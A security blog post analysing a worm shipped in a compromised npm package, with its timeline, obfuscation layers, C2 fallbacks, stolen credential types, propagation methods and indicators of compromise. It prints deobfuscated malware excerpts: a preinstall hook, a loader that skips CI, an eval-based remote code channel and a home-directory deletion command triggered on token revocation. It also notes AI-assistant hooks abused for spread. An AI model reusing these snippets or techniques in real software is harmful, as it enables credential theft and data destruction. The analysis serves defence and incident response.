tensorlake 0.5.144 npm Compromise Ships Mini Shai-Hulud
On this page
We found a credential-stealing worm in [email protected]. It runs on install, and npm was serving
it as latest for a package with about 106,000 monthly downloads.
npm records the publish at 01:12:07 UTC. SafeDep’s automated analysis flagged it at 01:20 UTC (6:50 AM IST), eight minutes later.

The payload is a new build of Mini Shai-Hulud, the 2026 wave of the Shai-Hulud worm family. It is the same worm as in the keyv and cacheable compromise.
- Steals cloud, GitHub, npm, SSH, browser, and wallet credentials.
- Spreads through npm packages and GitHub repositories.
- Runs remote code from its command-and-control (C2) server.
- Deletes the home directory on some machines when someone revokes the stolen GitHub token.
npm removed the version. The maintainers reverted the source in
pull request #1016 and released 0.5.145.
What is new in this build
- A hard-coded C2 domain,
iseekaigogo[.]com. - A new Ethereum contract for C2 domain lookup.
- A browser password stealer.
- A remote code channel that runs C2 responses with
eval. - A known deletion handler,
rm -rf ~/. The keyv analysis could not name it.
How the payload reached npm
The attacker did not need an npm token. They used a repository administrator account to commit
the payload to main through the GitHub web interface. Then they ran the project’s own release
workflow.
| Time, 2026-10-07 UTC | Commit | Change |
|---|---|---|
| 01:20:15 | e90c47bb | Adds typescript/lib/setup.mjs and typescript/lib/Math_Symbol.js |
| 01:24:19 | c79bc475 | Adds the preinstall script |
| 01:43:23 | ad5cf5a7 | Repairs the package.json syntax |
| 02:13 to 03:44 | 066b9d75, 936302da, 2ca2a7f1, 41b38f09 | Four revisions of the loader and one payload rebuild |
| 03:57:54 | e65ed94a | Sets the version to 0.5.144 |
GitHub signs web interface commits, so all eight show as verified. The first preinstall edit
broke the JSON:
"lint": "eslint src/ tests/",
"prepack": "npm run build"
+ "preinstall": "node lib/setup.mjs"
}, The fix came 19 minutes later. This suggests a person who edited files in a browser (inference).
On 8 October at 00:08 UTC, the account started
publish_npm.yaml by hand.
The build log shows the payload files in the tarball:
npm notice 856.5kB lib/Math_Symbol.js
npm notice 4.1kB lib/runtime.cjs
npm notice 32.6kB lib/setup.mjs
npm notice shasum: 843a898ab72793568d77c53ff9282e6ce7c66aea
npm notice Publishing to https://registry.npmjs.org/ with tag latest and public access - The release used npm trusted publishing.
- The sibling
tensorlake-native-*@0.5.144packages carry valid SLSA provenance for this run. The provenance is valid for a build of poisoned source. - The
preinstallhook ran in this job and ended in 0.1 seconds. The loader skips CI, so the payload probably did not run on the runner (inference).
The loader
The shipped lib/setup.mjs uses RC4 string obfuscation. The worm carries a plain copy of it, which it plants in other
packages and repositories:
const V = '1.3.13';
const E = 'Math_Symbol.js';
/** Maintainer CI (GHA/GitLab/…) must not run stage2 — blocks `npm ci` for entire release matrix. */
function skipInstallHook() {
const ci = process.env.CI;
if (ci === 'true' || ci === '1') return true;
if (process.env.GITHUB_ACTIONS === 'true') return true;
if (process.env.GITLAB_CI === 'true') return true;
if (process.env.RUNNER_ENVIRONMENT === 'github-hosted') return true;
return false;
}
// ...
const u = `https://github.com/oven-sh/bun/releases/download/bun-v${V}/${a}.zip`; - It downloads Bun 1.3.13 from the official GitHub release.
- It runs
Math_Symbol.jswith Bun. - It exits on CI runners.
The shipped setup.mjs decodes to the same strings.
The payload
lib/Math_Symbol.js is 856,501 bytes. Its first line names the build:
globalThis.WORMTAG = 'tensrlake'; Three layers hide the code:
- An obfuscator string array hides identifiers.
- A custom cipher hides configuration strings. It uses salt
svksjrhjkcejg, the same as keyv. - AES-256-GCM hides eleven embedded files, including scripts, hooks, and two RSA public keys.
All layers decode without running the sample. An earlier 849,332-byte build in the commit history has the same configuration.
Command and control
Snippets below are deobfuscated and keep the original identifiers.
((_0x42f92a = 'router'), (_0x41631a = 0x1bb), (_0x41767b = 'iseekaigogo.com')); The worm posts data to hxxps://iseekaigogo[.]com:443/router. If that fails, it tries:
- Ethereum. It reads contract
0xb614155Fd88114d40549b259457Bcf921Df091B9through 35 public RPC endpoints. On 8 October the contract returnediseekaigogo.com. - Signed GitHub commits. It searches for
thebeautifulmarchoftimeand trusts only commits signed with an embedded RSA key. - Dead-drop repositories. It commits encrypted data to new public repositories with the
description
Shai-Hulud: Here We Go Again.
Every C2 response can carry code. The worm runs it:
["applyRemoteCode"](_0x3cb209) {
let _0x5b9a01;
try { _0x5b9a01 = JSON["parse"](_0x3cb209); } catch { return; }
if (typeof _0x5b9a01["code"] !== "string" || _0x5b9a01["code"]["length"] === 0x0) return;
try { eval(_0x5b9a01["code"]); } catch (_0x1b02b9) { ... }
} After exfiltration, the worm pings the C2 every 45 to 90 seconds and runs any code it gets back.
What it collects
| Collector | Targets |
|---|---|
| File system | SSH keys, cloud CLI files, .npmrc, .env, Docker and Kubernetes files, ~/.claude.json, ~/.kiro/settings/mcp.json, shell history |
| Wallets | wallet.dat files, Exodus, Electrum, Ledger Live, and browser wallet extensions such as MetaMask and Phantom |
| Browser passwords | A binary from hxxps://iseekaigogo[.]com/hbd/<platform> |
| AWS | STS, SSM Parameter Store, and Secrets Manager |
| GitHub Actions | Secrets read from Runner.Worker process memory |
| Kubernetes, Vault | Service-account tokens and Vault tokens |
The browser binary runs as dump -b all -c password -f json. These arguments match
HackBrowserData (inference, the binary was not recovered). The worm exits on Russian locales.
The deletion watcher
The watcher arms only for stolen tokens whose account has no organizations:
if ((_0x392a9f['ok'] ? await _0x392a9f['json']() : [])['length'] === 0x0)
(_0x990158['log']('No orgs - handling.'), _0x361712['setIncludeToken'](!0x0)); let _0x43c4c7 = process["platform"] === "win32" ? "Remove-Item -LiteralPath $env:USERPROFILE -Recurse -Force" : "rm -rf ~/";
(await this["installTokenMonitor"](this["token"], _0x43c4c7), ...); gh-token-monitorchecks the token every 60 seconds for 24 hours.- If GitHub returns 40x, for example after revocation, it deletes the home directory.
- It runs as a systemd user service, a macOS LaunchAgent, or a Windows scheduled task.
Remove gh-token-monitor before you revoke GitHub tokens.
Propagation
- npm tokens. It adds the payload and
preinstallto every package the token can publish, bumps the patch version, and publishes. - npm trusted publishing. In CI, it adds a git dependency and signs the package with Fulcio and Rekor.
- GitHub tokens. It commits Claude Code and VS Code hooks as author
claude. It also plants aRun Copilotworkflow that dumps all repository secrets, then deletes the run and branch.
The hook files and workflow match the keyv post. See also configuration files that run code.
Two bugs in the code may limit spread:
- The npm path needs
./dist/Math_Symbol.json disk and stops without it. - The planted loader looks for
ai_init.js, but the worm writesmath_init.js.
Indicators of compromise
| Type | Value |
|---|---|
| Package | [email protected], removed from npm |
| Tarball SHA-1 | 843a898ab72793568d77c53ff9282e6ce7c66aea |
lib/setup.mjs, 32,645 bytes | 25a0735d0db7dc40e5d45ce42d9c106067e6a66e184d967cfecfab17c3bcb5ef |
lib/Math_Symbol.js, 856,501 bytes | b50a00900399ba99fb6ce1fc151519cb99d44320ef2a631f2237e1aea0ad6fec |
| Earlier payload build, 849,332 bytes | 03aa53f01b5b0fc4899c44041da90d7c5aa29fd90e4d99a5b70270f672ee43e1 |
| Build tag | WORMTAG='tensrlake' |
| C2 domain | iseekaigogo[.]com, paths /router and /hbd/ |
| Ethereum contract | 0xb614155Fd88114d40549b259457Bcf921Df091B9, selector 0x53ed5143 |
| Fallback search string | thebeautifulmarchoftime |
| Source commits | e90c47bb through 6386121c in tensorlakeai/tensorlake |
| Persistence | gh-token-monitor.service, com.user.gh-token-monitor, scheduled task gh-token-monitor |
| Persistence files | ~/.local/bin/gh-token-monitor.sh, ~/.config/gh-token-monitor/, %LOCALAPPDATA%\gh-token-monitor\monitor.ps1 |
| Lock file | tmp.ts018051808.lock in the temporary directory |
| Dead-drop description | Shai-Hulud: Here We Go Again |
| Planted branch | dependabot/github_actions/format/setup-formatter |
References
- malware
- npm
- supply-chain
- account-compromise
- config-files
Author
Kunal Singh
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering
42 Malicious RubyGems Open a Reverse Shell at Install Time
One RubyGems account published 42 gems that run code during gem install. On a developer workstation, the gems open a reverse shell or download a second stage. They do nothing on CI runners and...
PolinRider Switches to Ethereum C2 in 30+ Repositories
A malicious pull request against oxc led SafeDep to a larger campaign. The PolinRider loader family now reads its C2 servers from Ethereum transactions. SafeDep confirmed 35 GitHub repositories that...
An Attacker Hijacked an AI Coding Assistant to Spread a Worm
An attacker took over a live AI coding assistant session, got it to recommend a poisoned package, and used the stolen tokens to spread the Shai-Hulud worm across about 100 internal repositories.
DirtyBlanket: Fake Express Packages on npm Spread a Linux Worm
Nine fake Express and React packages on npm run a Linux worm at install time. It installs a Tor backdoor and spreads through SSH, AUR packages, and npm tokens.
Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.